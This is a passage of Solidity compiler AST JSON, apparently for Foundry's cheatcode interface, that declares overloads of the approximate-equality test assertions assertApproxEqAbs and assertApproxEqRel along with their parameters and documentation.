message."},"functionSelector":"3d5bc8bc","implemented":false,"kind":"function","modifiers":[],"name":"assertApproxEqAbsDecimal","nameLocation":"38026:24:13","parameters":{"id":13501,"nodeType":"ParameterList","parameters":[{"constant":false,"id":13494,"mutability":"mutable","name":"left","nameLocation":"38058:4:13","nodeType":"VariableDeclaration","scope":13503,"src":"38051:11:13","stateVariable":false,"storageLocation":"default","typeDescriptions":{"typeIdentifier":"t_int256","typeString":"int256"},"typeName":{"id":13493,"name":"int256","nodeType":"ElementaryTypeName","src":"38051:6:13","typeDescriptions":{"typeIdentifier":"t_int256","typeString":"int256"}},"visibility":"internal"},{"constant":false,"id":13496,"mutability":"mutable","name":"right","nameLocation":"38071:5:13","nodeType":"VariableDeclaration","scope":13503,"src":"38064:12:13","stateVariable":false,"storageLocation":"default","typeDescriptions":{"typeIdentifier":"t_int256","typeString":"int256"},"typeName":{"id":13495,"name":"int256","nodeType":"ElementaryTypeName","src":"38064:6:13","typeDescriptions":{"typeIdentifier":"t_int256","typeString":"int256"}},"visibility":"internal"},{"constant":false,"id":13498,"mutability":"mutable","name":"maxDelta","nameLocation":"38086:8:13","nodeType":"VariableDeclaration","scope":13503,"src":"38078:16:13","stateVariable":false,"storageLocation":"default","typeDescriptions":{"typeIdentifier":"t_uint256","typeString":"uint256"},"typeName":{"id":13497,"name":"uint256","nodeType":"ElementaryTypeName","src":"38078:7:13","typeDescriptions":{"typeIdentifier":"t_uint256","typeString":"uint256"}},"visibility":"internal"},{"constant":false,"id":13500,"mutability":"mutable","name":"decimals","nameLocation":"38104:8:13","nodeType":"VariableDeclaration","scope":13503,"src":"38096:16:13","stateVariable":false,"storageLocation":"default","typeDescriptions":{"typeIdentifier":"t_uint256","typeString":"uint256"},"typeName":{"id":13499,"name":"uint256","nodeType":"ElementaryTypeName","src":"38096:7:13","typeDescriptions":{"typeIdentifier":"t_uint256","typeString":"uint256"}},"visibility":"internal"}],"src":"38050:63:13"},"returnParameters":{"id":13502,"nodeType":"ParameterList","parameters":[],"src":"38127:0:13"},"scope":15098,"stateMutability":"pure","virtual":false,"visibility":"external"},{"id":13517,"nodeType":"FunctionDefinition","src":"38342:180:13","nodes":[],"documentation":{"id":13504,"nodeType":"StructuredDocumentation","src":"38134:203:13","text":"Compares two `int256` values. Expects difference to be less than or equal to `maxDelta`.\n Formats values with decimals in failure message. Includes error message into revert string on failure."},"functionSelector":"6a5066d4","implemented":false,"kind":"function","modifiers":[],"name":"assertApproxEqAbsDecimal","nameLocation":"38351:24:13","parameters":{"id":13515,"nodeType":"ParameterList","parameters":[{"constant":false,"id":13506,"mutability":"mutable","name":"left","nameLocation":"38392:4:13","nodeType":"VariableDeclaration","scope":13517,"src":"38385:11:13","stateVariable":false,"storageLocation":"default","typeDescriptions":{"typeIdentifier":"t_int256","typeString":"int256"},"typeName":{"id":13505,"name":"int256","nodeType":"ElementaryTypeName","src":"38385:6:13","typeDescriptions":{"typeIdentifier":"t_int256","typeString":"int256"}},"visibility":"internal"},{"constant":false,"id":13508,"mutability":"mutable","name":"right","nameLocation":"38413:5:13","nodeType":"VariableDeclaration","scope":13517,"src":"38406:12:13","stateVariable":false,"storageLocation":"default","typeDescriptions":{"typeIdentifier":"t_int256","typeString":"int256"},"typeName":{"id":13507,"name":"int256","nodeType":"ElementaryTypeName","src":"38406:6:13","typeDescriptions":{"typeIdentifier":"t_int256","typeString":"int256"}},"visibility":"internal"},{"constant":false,"id":13510,"mutability":"mutable","name":"maxDelta","nameLocation":"38436:8:13","nodeType":"VariableDeclaration","scope":13517,"src":"38428:16:13","stateVariable":false,"storageLocation":"default","typeDescriptions":{"typeIdentifier":"t_uint256","typeString":"uint256"},"typeName":{"id":13509,"name":"uint256","nodeType":"ElementaryTypeName","src":"38428:7:13","typeDescriptions":{"typeIdentifier":"t_uint256","typeString":"uint256"}},"visibility":"internal"},{"constant":false,"id":13512,"mutability":"mutable","name":"decimals","nameLocation":"38462:8:13","nodeType":"VariableDeclaration","scope":13517,"src":"38454:16:13","stateVariable":false,"storageLocation":"default","typeDescriptions":{"typeIdentifier":"t_uint256","typeString":"uint256"},"typeName":{"id":13511,"name":"uint256","nodeType":"ElementaryTypeName","src":"38454:7:13","typeDescriptions":{"typeIdentifier":"t_uint256","typeString":"uint256"}},"visibility":"internal"},{"constant":false,"id":13514,"mutability":"mutable","name":"error","nameLocation":"38496:5:13","nodeType":"VariableDeclaration","scope":13517,"src":"38480:21:13","stateVariable":false,"storageLocation":"calldata","typeDescriptions":{"typeIdentifier":"t_string_calldata_ptr","typeString":"string"},"typeName":{"id":13513,"name":"string","nodeType":"ElementaryTypeName","src":"38480:6:13","typeDescriptions":{"typeIdentifier":"t_string_storage_ptr","typeString":"string"}},"visibility":"internal"}],"src":"38375:132:13"},"returnParameters":{"id":13516,"nodeType":"ParameterList","parameters":[],"src":"38521:0:13"},"scope":15098,"stateMutability":"pure","virtual":false,"visibility":"external"},{"id":13527,"nodeType":"FunctionDefinition","src":"38626:88:13","nodes":[],"documentation":{"id":13518,"nodeType":"StructuredDocumentation","src":"38528:93:13","text":"Compares two `uint256` values. Expects difference to be less than or equal to `maxDelta`."},"functionSelector":"16d207c6","implemented":false,"kind":"function","modifiers":[],"name":"assertApproxEqAbs","nameLocation":"38635:17:13","parameters":{"id":13525,"nodeType":"ParameterList","parameters":[{"constant":false,"id":13520,"mutability":"mutable","name":"left","nameLocation":"38661:4:13","nodeType":"VariableDeclaration","scope":13527,"src":"38653:12:13","stateVariable":false,"storageLocation":"default","typeDescriptions":{"typeIdentifier":"t_uint256","typeString":"uint256"},"typeName":{"id":13519,"name":"uint256","nodeType":"ElementaryTypeName","src":"38653:7:13","typeDescriptions":{"typeIdentifier":"t_uint256","typeString":"uint256"}},"visibility":"internal"},{"constant":false,"id":13522,"mutability":"mutable","name":"right","nameLocation":"38675:5:13","nodeType":"VariableDeclaration","scope":13527,"src":"38667:13:13","stateVariable":false,"storageLocation":"default","typeDescriptions":{"typeIdentifier":"t_uint256","typeString":"uint256"},"typeName":{"id":13521,"name":"uint256","nodeType":"ElementaryTypeName","src":"38667:7:13","typeDescriptions":{"typeIdentifier":"t_uint256","typeString":"uint256"}},"visibility":"internal"},{"constant":false,"id":13524,"mutability":"mutable","name":"maxDelta","nameLocation":"38690:8:13","nodeType":"VariableDeclaration","scope":13527,"src":"38682:16:13","stateVariable":false,"storageLocation":"default","typeDescriptions":{"typeIdentifier":"t_uint256","typeString":"uint256"},"typeName":{"id":13523,"name":"uint256","nodeType":"ElementaryTypeName","src":"38682:7:13","typeDescriptions":{"typeIdentifier":"t_uint256","typeString":"uint256"}},"visibility":"internal"}],"src":"38652:47:13"},"returnParameters":{"id":13526,"nodeType":"ParameterList","parameters":[],"src":"38713:0:13"},"scope":15098,"stateMutability":"pure","virtual":false,"visibility":"external"},{"id":13539,"nodeType":"FunctionDefinition","src":"38880:111:13","nodes":[],"documentation":{"id":13528,"nodeType":"StructuredDocumentation","src":"38720:155:13","text":"Compares two `uint256` values. Expects difference to be less than or equal to `maxDelta`.\n Includes error message into revert string on failure."},"functionSelector":"f710b062","implemented":false,"kind":"function","modifiers":[],"name":"assertApproxEqAbs","nameLocation":"38889:17:13","parameters":{"id":13537,"nodeType":"ParameterList","parameters":[{"constant":false,"id":13530,"mutability":"mutable","name":"left","nameLocation":"38915:4:13","nodeType":"VariableDeclaration","scope":13539,"src":"38907:12:13","stateVariable":false,"storageLocation":"default","typeDescriptions":{"typeIdentifier":"t_uint256","typeString":"uint256"},"typeName":{"id":13529,"name":"uint256","nodeType":"ElementaryTypeName","src":"38907:7:13","typeDescriptions":{"typeIdentifier":"t_uint256","typeString":"uint256"}},"visibility":"internal"},{"constant":false,"id":13532,"mutability":"mutable","name":"right","nameLocation":"38929:5:13","nodeType":"VariableDeclaration","scope":13539,"src":"38921:13:13","stateVariable":false,"storageLocation":"default","typeDescriptions":{"typeIdentifier":"t_uint256","typeString":"uint256"},"typeName":{"id":13531,"name":"uint256","nodeType":"ElementaryTypeName","src":"38921:7:13","typeDescriptions":{"typeIdentifier":"t_uint256","typeString":"uint256"}},"visibility":"internal"},{"constant":false,"id":13534,"mutability":"mutable","name":"maxDelta","nameLocation":"38944:8:13","nodeType":"VariableDeclaration","scope":13539,"src":"38936:16:13","stateVariable":false,"storageLocation":"default","typeDescriptions":{"typeIdentifier":"t_uint256","typeString":"uint256"},"typeName":{"id":13533,"name":"uint256","nodeType":"ElementaryTypeName","src":"38936:7:13","typeDescriptions":{"typeIdentifier":"t_uint256","typeString":"uint256"}},"visibility":"internal"},{"constant":false,"id":13536,"mutability":"mutable","name":"error","nameLocation":"38970:5:13","nodeType":"VariableDeclaration","scope":13539,"src":"38954:21:13","stateVariable":false,"storageLocation":"calldata","typeDescriptions":{"typeIdentifier":"t_string_calldata_ptr","typeString":"string"},"typeName":{"id":13535,"name":"string","nodeType":"ElementaryTypeName","src":"38954:6:13","typeDescriptions":{"typeIdentifier":"t_string_storage_ptr","typeString":"string"}},"visibility":"internal"}],"src":"38906:70:13"},"returnParameters":{"id":13538,"nodeType":"ParameterList","parameters":[],"src":"38990:0:13"},"scope":15098,"stateMutability":"pure","virtual":false,"visibility":"external"},{"id":13549,"nodeType":"FunctionDefinition","src":"39094:86:13","nodes":[],"documentation":{"id":13540,"nodeType":"StructuredDocumentation","src":"38997:92:13","text":"Compares two `int256` values. Expects difference to be less than or equal to `maxDelta`."},"functionSelector":"240f839d","implemented":false,"kind":"function","modifiers":[],"name":"assertApproxEqAbs","nameLocation":"39103:17:13","parameters":{"id":13547,"nodeType":"ParameterList","parameters":[{"constant":false,"id":13542,"mutability":"mutable","name":"left","nameLocation":"39128:4:13","nodeType":"VariableDeclaration","scope":13549,"src":"39121:11:13","stateVariable":false,"storageLocation":"default","typeDescriptions":{"typeIdentifier":"t_int256","typeString":"int256"},"typeName":{"id":13541,"name":"int256","nodeType":"ElementaryTypeName","src":"39121:6:13","typeDescriptions":{"typeIdentifier":"t_int256","typeString":"int256"}},"visibility":"internal"},{"constant":false,"id":13544,"mutability":"mutable","name":"right","nameLocation":"39141:5:13","nodeType":"VariableDeclaration","scope":13549,"src":"39134:12:13","stateVariable":false,"storageLocation":"default","typeDescriptions":{"typeIdentifier":"t_int256","typeString":"int256"},"typeName":{"id":13543,"name":"int256","nodeType":"ElementaryTypeName","src":"39134:6:13","typeDescriptions":{"typeIdentifier":"t_int256","typeString":"int256"}},"visibility":"internal"},{"constant":false,"id":13546,"mutability":"mutable","name":"maxDelta","nameLocation":"39156:8:13","nodeType":"VariableDeclaration","scope":13549,"src":"39148:16:13","stateVariable":false,"storageLocation":"default","typeDescriptions":{"typeIdentifier":"t_uint256","typeString":"uint256"},"typeName":{"id":13545,"name":"uint256","nodeType":"ElementaryTypeName","src":"39148:7:13","typeDescriptions":{"typeIdentifier":"t_uint256","typeString":"uint256"}},"visibility":"internal"}],"src":"39120:45:13"},"returnParameters":{"id":13548,"nodeType":"ParameterList","parameters":[],"src":"39179:0:13"},"scope":15098,"stateMutability":"pure","virtual":false,"visibility":"external"},{"id":13561,"nodeType":"FunctionDefinition","src":"39345:109:13","nodes":[],"documentation":{"id":13550,"nodeType":"StructuredDocumentation","src":"39186:154:13","text":"Compares two `int256` values. Expects difference to be less than or equal to `maxDelta`.\n Includes error message into revert string on failure."},"functionSelector":"8289e621","implemented":false,"kind":"function","modifiers":[],"name":"assertApproxEqAbs","nameLocation":"39354:17:13","parameters":{"id":13559,"nodeType":"ParameterList","parameters":[{"constant":false,"id":13552,"mutability":"mutable","name":"left","nameLocation":"39379:4:13","nodeType":"VariableDeclaration","scope":13561,"src":"39372:11:13","stateVariable":false,"storageLocation":"default","typeDescriptions":{"typeIdentifier":"t_int256","typeString":"int256"},"typeName":{"id":13551,"name":"int256","nodeType":"ElementaryTypeName","src":"39372:6:13","typeDescriptions":{"typeIdentifier":"t_int256","typeString":"int256"}},"visibility":"internal"},{"constant":false,"id":13554,"mutability":"mutable","name":"right","nameLocation":"39392:5:13","nodeType":"VariableDeclaration","scope":13561,"src":"39385:12:13","stateVariable":false,"storageLocation":"default","typeDescriptions":{"typeIdentifier":"t_int256","typeString":"int256"},"typeName":{"id":13553,"name":"int256","nodeType":"ElementaryTypeName","src":"39385:6:13","typeDescriptions":{"typeIdentifier":"t_int256","typeString":"int256"}},"visibility":"internal"},{"constant":false,"id":13556,"mutability":"mutable","name":"maxDelta","nameLocation":"39407:8:13","nodeType":"VariableDeclaration","scope":13561,"src":"39399:16:13","stateVariable":false,"storageLocation":"default","typeDescriptions":{"typeIdentifier":"t_uint256","typeString":"uint256"},"typeName":{"id":13555,"name":"uint256","nodeType":"ElementaryTypeName","src":"39399:7:13","typeDescriptions":{"typeIdentifier":"t_uint256","typeString":"uint256"}},"visibility":"internal"},{"constant":false,"id":13558,"mutability":"mutable","name":"error","nameLocation":"39433:5:13","nodeType":"VariableDeclaration","scope":13561,"src":"39417:21:13","stateVariable":false,"storageLocation":"calldata","typeDescriptions":{"typeIdentifier":"t_string_calldata_ptr","typeString":"string"},"typeName":{"id":13557,"name":"string","nodeType":"ElementaryTypeName","src":"39417:6:13","typeDescriptions":{"typeIdentifier":"t_string_storage_ptr","typeString":"string"}},"visibility":"internal"}],"src":"39371:68:13"},"returnParameters":{"id":13560,"nodeType":"ParameterList","parameters":[],"src":"39453:0:13"},"scope":15098,"stateMutability":"pure","virtual":false,"visibility":"external"},{"id":13573,"nodeType":"FunctionDefinition","src":"39725:136:13","nodes":[],"documentation":{"id":13562,"nodeType":"StructuredDocumentation","src":"39460:260:13","text":"Compares two `uint256` values. Expects relative difference in percents to be less than or equal to `maxPercentDelta`.\n `maxPercentDelta` is an 18 decimal fixed point number, where 1e18 == 100%\n Formats values with decimals in failure message."},"functionSelector":"21ed2977","implemented":false,"kind":"function","modifiers":[],"name":"assertApproxEqRelDecimal","nameLocation":"39734:24:13","parameters":{"id":13571,"nodeType":"ParameterList","parameters":[{"constant":false,"id":13564,"mutability":"mutable","name":"left","nameLocation":"39767:4:13","nodeType":"VariableDeclaration","scope":13573,"src":"39759:12:13","stateVariable":false,"storageLocation":"default","typeDescriptions":{"typeIdentifier":"t_uint256","typeString":"uint256"},"typeName":{"id":13563,"name":"uint256","nodeType":"ElementaryTypeName","src":"39759:7:13","typeDescriptions":{"typeIdentifier":"t_uint256","typeString":"uint256"}},"visibility":"internal"},{"constant":false,"id":13566,"mutability":"mutable","name":"right","nameLocation":"39781:5:13","nodeType":"VariableDeclaration","scope":13573,"src":"39773:13:13","stateVariable":false,"storageLocation":"default","typeDescriptions":{"typeIdentifier":"t_uint256","typeString":"uint256"},"typeName":{"id":13565,"name":"uint256","nodeType":"ElementaryTypeName","src":"39773:7:13","typeDescriptions":{"typeIdentifier":"t_uint256","typeString":"uint256"}},"visibility":"internal"},{"constant":false,"id":13568,"mutability":"mutable","name":"maxPercentDelta","nameLocation":"39796:15:13","nodeType":"VariableDeclaration","scope":13573,"src":"39788:23:13","stateVariable":false,"storageLocation":"default","typeDescriptions":{"typeIdentifier":"t_uint256","typeString":"uint256"},"typeName":{"id":13567,"name":"uint256","nodeType":"ElementaryTypeName","src":"39788:7:13","typeDescriptions":{"typeIdentifier":"t_uint256","typeString":"uint256"}},"visibility":"internal"},{"constant":false,"id":13570,"mutability":"mutable","name":"decimals","nameLocation":"39821:8:13","nodeType":"VariableDeclaration","scope":13573,"src":"39813:16:13","stateVariable":false,"storageLocation":"default","typeDescriptions":{"typeIdentifier":"t_uint256","typeString":"uint256"},"typeName":{"id":13569,"name":"uint256","nodeType":"ElementaryTypeName","src":"39813:7:13","typeDescriptions":{"typeIdentifier":"t_uint256","typeString":"uint256"}},"visibility":"internal"}],"src":"39758:72:13"},"returnParameters":{"id":13572,"nodeType":"ParameterList","parameters":[],"src":"39860:0:13"},"scope":15098,"stateMutability":"pure","virtual":false,"visibility":"external"},{"id":13587,"nodeType":"FunctionDefinition","src":"40186:189:13","nodes":[],"documentation":{"id":13574,"nodeType":"StructuredDocumentation","src":"39867:314:13","text":"Compares two `uint256` values. Expects relative difference in percents to be less than or equal to `maxPercentDelta`.\n `maxPercentDelta` is an 18 decimal fixed point number, where 1e18 == 100%\n Formats values with decimals in failure message. Includes error message into revert string on failure."},"functionSelector":"82d6c8fd","implemented":false,"kind":"function","modifiers":[],"name":"assertApproxEqRelDecimal","nameLocation":"40195:24:13","parameters":{"id":13585,"nodeType":"ParameterList","parameters":[{"constant":false,"id":13576,"mutability":"mutable","name":"left","nameLocation":"40237:4:13","nodeType":"VariableDeclaration","scope":13587,"src":"40229:12:13","stateVariable":false,"storageLocation":"default","typeDescriptions":{"typeIdentifier":"t_uint256","typeString":"uint256"},"typeName":{"id":13575,"name":"uint256","nodeType":"ElementaryTypeName","src":"40229:7:13","typeDescriptions":{"typeIdentifier":"t_uint256","typeString":"uint256"}},"visibility":"internal"},{"constant":false,"id":13578,"mutability":"mutable","name":"right","nameLocation":"40259:5:13","nodeType":"VariableDeclaration","scope":13587,"src":"40251:13:13","stateVariable":false,"storageLocation":"default","typeDescriptions":{"typeIdentifier":"t_uint256","typeString":"uint256"},"typeName":{"id":13577,"name":"uint256","nodeType":"ElementaryTypeName","src":"40251:7:13","typeDescriptions":{"typeIdentifier":"t_uint256","typeString":"uint256"}},"visibility":"internal"},{"constant":false,"id":13580,"mutability":"mutable","name":"maxPercentDelta","nameLocation":"40282:15:13","nodeType":"VariableDeclaration","scope":13587,"src":"40274:23:13","stateVariable":false,"storageLocation":"default","typeDescriptions":{"typeIdentifier":"t_uint256","typeString":"uint256"},"typeName":{"id":13579,"name":"uint256","nodeType":"ElementaryTypeName","src":"40274:7:13","typeDescriptions":{"typeIdentifier":"t_uint256","typeString":"uint256"}},"visibility":"internal"},{"constant":false,"id":13582,"mutability":"mutable","name":"decimals","nameLocation":"40315:8:13","nodeType":"VariableDeclaration","scope":13587,"src":"40307:16:13","stateVariable":false,"storageLocation":"default","typeDescriptions":{"typeIdentifier":"t_uint256","typeString":"uint256"},"typeName":{"id":13581,"name":"uint256","nodeType":"ElementaryTypeName","src":"40307:7:13","typeDescriptions":{"typeIdentifier":"t_uint256","typeString":"uint256"}},"visibility":"internal"},{"constant":false,"id":13584,"mutability":"mutable","name":"error","nameLocation":"40349:5:13","nodeType":"VariableDeclaration","scope":13587,"src":"40333:21:13","stateVariable":false,"storageLocation":"calldata","typeDescriptions":{"typeIdentifier":"t_string_calldata_ptr","typeString":"string"},"typeName":{"id":13583,"name":"string","nodeType":"ElementaryTypeName","src":"40333:6:13","typeDescriptions":{"typeIdentifier":"t_string_storage_ptr","typeString":"string"}},"visibility":"internal"}],"src":"40219:141:13"},"returnParameters":{"id":13586,"nodeType":"ParameterList","parameters":[],"src":"40374:0:13"},"scope":15098,"stateMutability":"pure","virtual":false,"visibility":"external"},{"id":13599,"nodeType":"FunctionDefinition","src":"40645:134:13","nodes":[],"documentation":{"id":13588,"nodeType":"StructuredDocumentation","src":"40381:259:13","text":"Compares two `int256` values. Expects relative difference in percents to be less than or equal to `maxPercentDelta`.\n `maxPercentDelta` is an 18 decimal fixed point number, where 1e18 == 100%\n Formats values with decimals in failure message."},"functionSelector":"abbf21cc","implemented":false,"kind":"function","modifiers":[],"name":"assertApproxEqRelDecimal","nameLocation":"40654:24:13","parameters":{"id":13597,"nodeType":"ParameterList","parameters":[{"constant":false,"id":13590,"mutability":"mutable","name":"left","nameLocation":"40686:4:13","nodeType":"VariableDeclaration","scope":13599,"src":"40679:11:13","stateVariable":false,"storageLocation":"default","typeDescriptions":{"typeIdentifier":"t_int256","typeString":"int256"},"typeName":{"id":13589,"name":"int256","nodeType":"ElementaryTypeName","src":"40679:6:13","typeDescriptions":{"typeIdentifier":"t_int256","typeString":"int256"}},"visibility":"internal"},{"constant":false,"id":13592,"mutability":"mutable","name":"right","nameLocation":"40699:5:13","nodeType":"VariableDeclaration","scope":13599,"src":"40692:12:13","stateVariable":false,"storageLocation":"default","typeDescriptions":{"typeIdentifier":"t_int256","typeString":"int256"},"typeName":{"id":13591,"name":"int256","nodeType":"ElementaryTypeName","src":"40692:6:13","typeDescriptions":{"typeIdentifier":"t_int256","typeString":"int256"}},"visibility":"internal"},{"constant":false,"id":13594,"mutability":"mutable","name":"maxPercentDelta","nameLocation":"40714:15:13","nodeType":"VariableDeclaration","scope":13599,"src":"40706:23:13","stateVariable":false,"storageLocation":"default","typeDescriptions":{"typeIdentifier":"t_uint256","typeString":"uint256"},"typeName":{"id":13593,"name":"uint256","nodeType":"ElementaryTypeName","src":"40706:7:13","typeDescriptions":{"typeIdentifier":"t_uint256","typeString":"uint256"}},"visibility":"internal"},{"constant":false,"id":13596,"mutability":"mutable","name":"decimals","nameLocation":"40739:8:13","nodeType":"VariableDeclaration","scope":13599,"src":"40731:16:13","stateVariable":false,"storageLocation":"default","typeDescriptions":{"typeIdentifier":"t_uint256","typeString":"uint256"},"typeName":{"id":13595,"name":"uint256","nodeType":"ElementaryTypeName","src":"40731:7:13","typeDescriptions":{"typeIdentifier":"t_uint256","typeString":"uint256"}},"visibility":"internal"}],"src":"40678:70:13"},"returnParameters":{"id":13598,"nodeType":"ParameterList","parameters":[],"src":"40778:0:13"},"scope":15098,"stateMutability":"pure","virtual":false,"visibility":"external"},{"id":13613,"nodeType":"FunctionDefinition","src":"41103:187:13","nodes":[],"documentation":{"id":13600,"nodeType":"StructuredDocumentation","src":"40785:313:13","text":"Compares two `int256` values. Expects relative difference in percents to be less than or equal to `maxPercentDelta`.\n `maxPercentDelta` is an 18 decimal fixed point number, where 1e18 == 100%\n Formats values with decimals in failure message. Includes error message into revert string on failure."},"functionSelector":"fccc11c4","implemented":false,"kind":"function","modifiers":[],"name":"assertApproxEqRelDecimal","nameLocation":"41112:24:13","parameters":{"id":13611,"nodeType":"ParameterList","parameters":[{"constant":false,"id":13602,"mutability":"mutable","name":"left","nameLocation":"41153:4:13","nodeType":"VariableDeclaration","scope":13613,"src":"41146:11:13","stateVariable":false,"storageLocation":"default","typeDescriptions":{"typeIdentifier":"t_int256","typeString":"int256"},"typeName":{"id":13601,"name":"int256","nodeType":"ElementaryTypeName","src":"41146:6:13","typeDescriptions":{"typeIdentifier":"t_int256","typeString":"int256"}},"visibility":"internal"},{"constant":false,"id":13604,"mutability":"mutable","name":"right","nameLocation":"41174:5:13","nodeType":"VariableDeclaration","scope":13613,"src":"41167:12:13","stateVariable":false,"storageLocation":"default","typeDescriptions":{"typeIdentifier":"t_int256","typeString":"int256"},"typeName":{"id":13603,"name":"int256","nodeType":"ElementaryTypeName","src":"41167:6:13","typeDescriptions":{"typeIdentifier":"t_int256","typeString":"int256"}},"visibility":"internal"},{"constant":false,"id":13606,"mutability":"mutable","name":"maxPercentDelta","nameLocation":"41197:15:13","nodeType":"VariableDeclaration","scope":13613,"src":"41189:23:13","stateVariable":false,"storageLocation":"default","typeDescriptions":{"typeIdentifier":"t_uint256","typeString":"uint256"},"typeName":{"id":13605,"name":"uint256","nodeType":"ElementaryTypeName","src":"41189:7:13","typeDescriptions":{"typeIdentifier":"t_uint256","typeString":"uint256"}},"visibility":"internal"},{"constant":false,"id":13608,"mutability":"mutable","name":"decimals","nameLocation":"41230:8:13","nodeType":"VariableDeclaration","scope":13613,"src":"41222:16:13","stateVariable":false,"storageLocation":"default","typeDescriptions":{"typeIdentifier":"t_uint256","typeString":"uint256"},"typeName":{"id":13607,"name":"uint256","nodeType":"ElementaryTypeName","src":"41222:7:13","typeDescriptions":{"typeIdentifier":"t_uint256","typeString":"uint256"}},"visibility":"internal"},{"constant":false,"id":13610,"mutability":"mutable","name":"error","nameLocation":"41264:5:13","nodeType":"VariableDeclaration","scope":13613,"src":"41248:21:13","stateVariable":false,"storageLocation":"calldata","typeDescriptions":{"typeIdentifier":"t_string_calldata_ptr","typeString":"string"},"typeName":{"id":13609,"name":"string","nodeType":"ElementaryTypeName","src":"41248:6:13","typeDescriptions":{"typeIdentifier":"t_string_storage_ptr","typeString":"string"}},"visibility":"internal"}],"src":"41136:139:13"},"returnParameters":{"id":13612,"nodeType":"ParameterList","parameters":[],"src":"41289:0:13"},"scope":15098,"stateMutability":"pure","virtual":false,"visibility":"external"},{"id":13623,"nodeType":"FunctionDefinition","src":"41504:95:13","nodes":[],"documentation":{"id":13614,"nodeType":"StructuredDocumentation","src":"41296:203:13","text":"Compares two `uint256` values. Expects relative difference in percents to be less than or equal to `maxPercentDelta`.\n `maxPercentDelta` is an 18 decimal fixed point number, where 1e18 == 100%"},"functionSelector":"8cf25ef4","implemented":false,"kind":"function","modifiers":[],"name":"assertApproxEqRel","nameLocation":"41513:17:13","parameters":{"id":13621,"nodeType":"ParameterList","parameters":[{"constant":false,"id":13616,"mutability":"mutable","name":"left","nameLocation":"41539:4:13","nodeType":"VariableDeclaration","scope":13623,"src":"41531:12:13","stateVariable":false,"storageLocation":"default","typeDescriptions":{"typeIdentifier":"t_uint256","typeString":"uint256"},"typeName":{"id":13615,"name":"uint256","nodeType":"ElementaryTypeName","src":"41531:7:13","typeDescriptions":{"typeIdentifier":"t_uint256","typeString":"uint256"}},"visibility":"internal"},{"constant":false,"id":13618,"mutability":"mutable","name":"right","nameLocation":"41553:5:13","nodeType":"VariableDeclaration","scope":13623,"src":"41545:13:13","stateVariable":false,"storageLocation":"default","typeDescriptions":{"typeIdentifier":"t_uint256","typeString":"uint256"},"typeName":{"id":13617,"name":"uint256","nodeType":"ElementaryTypeName","src":"41545:7:13","typeDescriptions":{"typeIdentifier":"t_uint256","typeString":"uint256"}},"visibility":"internal"},{"constant":false,"id":13620,"mutability":"mutable","name":"maxPercentDelta","nameLocation":"41568:15:13","nodeType":"VariableDeclaration","scope":13623,"src":"41560:23:13","stateVariable":false,"storageLocation":"default","typeDescriptions":{"typeIdentifier":"t_uint256","typeString":"uint256"},"typeName":{"id":13619,"name":"uint256","nodeType":"ElementaryTypeName","src":"41560:7:13","typeDescriptions":{"typeIdentifier":"t_uint256","typeString":"uint256"}},"visibility":"internal"}],"src":"41530:54:13"},"returnParameters":{"id":13622,"nodeType":"ParameterList","parameters":[],"src":"41598:0:13"},"scope":15098,"stateMutability":"pure","virtual":false,"visibility":"external"},{"id":13635,"nodeType":"FunctionDefinition","src":"41875:134:13","nodes":[],"documentation":{"id":13624,"nodeType":"StructuredDocumentation","src":"41605:265:13","text":"Compares two `uint256` values. Expects relative difference in percents to be less than or equal to `maxPercentDelta`.\n `maxPercentDelta` is an 18 decimal fixed point number, where 1e18 == 100%\n Includes error message into revert string on failure."},"functionSelector":"1ecb7d33","implemented":false,"kind":"function","modifiers":[],"name":"assertApproxEqRel","nameLocation":"41884:17:13","parameters":{"id":13633,"nodeType":"ParameterList","parameters":[{"constant":false,"id":13626,"mutability":"mutable","name":"left","nameLocation":"41910:4:13","nodeType":"VariableDeclaration","scope":13635,"src":"41902:12:13","stateVariable":false,"storageLocation":"default","typeDescriptions":{"typeIdentifier":"t_uint256","typeString":"uint256"},"typeName":{"id":13625,"name":"uint256","nodeType":"ElementaryTypeName","src":"41902:7:13","typeDescriptions":{"typeIdentifier":"t_uint256","typeString":"uint256"}},"visibility":"internal"},{"constant":false,"id":13628,"mutability":"mutable","name":"right","nameLocation":"41924:5:13","nodeType":"VariableDeclaration","scope":13635,"src":"41916:13:13","stateVariable":false,"storageLocation":"default","typeDescriptions":{"typeIdentifier":"t_uint256","typeString":"uint256"},"typeName":{"id":13627,"name":"uint256","nodeType":"ElementaryTypeName","src":"41916:7:13","typeDescriptions":{"typeIdentifier":"t_uint256","typeString":"uint256"}},"visibility":"internal"},{"constant":false,"id":13630,"mutability":"mutable","name":"maxPercentDelta","nameLocation":"41939:15:13","nodeType":"VariableDeclaration","scope":13635,"src":"41931:23:13","stateVariable":false,"storageLocation":"default","typeDescriptions":{"typeIdentifier":"t_uint256","typeString":"uint256"},"typeName":{"id":13629,"name":"uint256","nodeType":"ElementaryTypeName","src":"41931:7:13","typeDescriptions":{"typeIdentifier":"t_uint256","typeString":"uint256"}},"visibility":"internal"},{"constant":false,"id":13632,"mutability":"mutable","name":"error","nameLocation":"41972:5:13","nodeType":"VariableDeclaration","scope":13635,"src":"41956:21:13","stateVariable":false,"storageLocation":"calldata","typeDescriptions":{"typeIdentifier":"t_string_calldata_ptr","typeString":"string"},"typeName":{"id":13631,"name":"string","nodeType":"ElementaryTypeName","src":"41956:6:13","typeDescriptions":{"typeIdentifier":"t_string_storage_ptr","typeString":"string"}},"visibility":"internal"}],"src":"41901:77:13"},"returnParameters":{"id":13634,"nodeType":"ParameterList","parameters":[],"src":"42008:0:13"},"scope":15098,"stateMutability":"pure","virtual":false,"visibility":"external"},{"id":13645,"nodeType":"FunctionDefinition","src":"42222:93:13","nodes":[],"documentation":{"id":13636,"nodeType":"StructuredDocumentation","src":"42015:202:13","text":"Compares two `int256` values. Expects relative difference in percents to be less than or equal to `maxPercentDelta`.\n `maxPercentDelta` is an 18 decimal fixed point number, where 1e18 == 